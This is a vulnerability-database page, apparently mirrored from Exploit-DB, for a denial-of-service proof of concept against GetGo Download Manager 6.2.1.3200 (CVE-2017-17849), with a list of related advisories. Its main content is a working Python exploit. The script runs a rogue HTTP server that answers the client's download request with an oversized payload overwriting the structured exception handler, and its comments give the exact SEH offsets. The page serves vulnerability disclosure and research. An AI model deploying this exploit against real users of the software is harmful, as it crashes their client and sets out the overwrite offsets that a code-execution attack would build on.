Lucene search
+L

GetGo Download Manager 6.2.1.3200 - Denial of Service (PoC)

🗓️ 25 Jul 2018 00:00:00Reported by Nathu NandwaniType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 60 Views

GetGo Download Manager 6.2.1.3200 - Buffer Overflow Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
GetGo Download Manager 5.3.0.2712 Buffer Overflow Exploit
24 Dec 201700:00
–zdt
zdt
zdt
GetGo Download Manager 6.2.1.3200 - Buffer Overflow Exploit
25 Jul 201800:00
–zdt
attackerkb
attackerkb
CVE-2017-17849
27 Dec 201717:08
–attackerkb
bdu_fstec
BDU FSTEC
GetGo Download Manager Buffer Overflow
1 Feb 201800:00
–bdu_fstec
cnvd
CNVD
GetGo Download Manager Buffer Overflow Vulnerability
25 Dec 201700:00
–cnvd
cve
CVE
CVE-2017-17849
24 Dec 201718:00
–cve
cvelist
Cvelist
CVE-2017-17849
24 Dec 201718:00
–cvelist
exploitdb
Exploit DB
GetGo Download Manager 5.3.0.2712 - Buffer Overflow
26 Dec 201700:00
–exploitdb
exploitpack
exploitpack
GetGo Download Manager 5.3.0.2712 - Buffer Overflow
26 Dec 201700:00
–exploitpack
exploitpack
exploitpack
GetGo Download Manager 6.2.1.3200 - Denial of Service (PoC)
25 Jul 201800:00
–exploitpack
Rows per page
# Exploit Title: GetGo Download Manager 6.2.1.3200 - Buffer Overflow (Denial of Service)
# Date: 2018-07-25
# Exploit Author: Nathu Nandwani
# Website: http://nandtech.co
# CVE: CVE-2017-17849
# Tested On: Windows 7 x86, Windows 10 x64
#
# Details
#
# The downloader feature of GetGo Download Manager is vulnerable
# to a buffer overflow which can cause a denial of service.
# To test the proof of concept, have it executed in your machine
# and let the GetGo application download 'index.html' from your
# given IP.
#
# SEH details (Windows 7 x86):
#
# SEH chain of thread 00000644, item 1
# Address=0863E2C8
# SE handler=68463967 <-> 4108 offset
#
# SEH chain of thread 00000644, item 2
# Address=46386746 <-> 4104 offset
# SE handler=*** CORRUPT ENTRY ***

import socket

server_ip = "0.0.0.0"
server_port = 80
payload = "A" * 4104 + "BBBB" + "\xcc\xcc\xcc\xcc" + "D" * 11000 + "\r\n"

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind((server_ip, server_port))
sock.listen(1)

print "Currently listening at " + server_ip + ":" + str(server_port)

client, (client_host, client_port) = sock.accept()
print "Client connected: " + client_host + ":" + str(client_port)
print ""
print client.recv(1000)

client.send(payload)
print "Sent payload"

client.close()
sock.close()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Jul 2018 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 39.8
CVSS 210
EPSS0.19015
60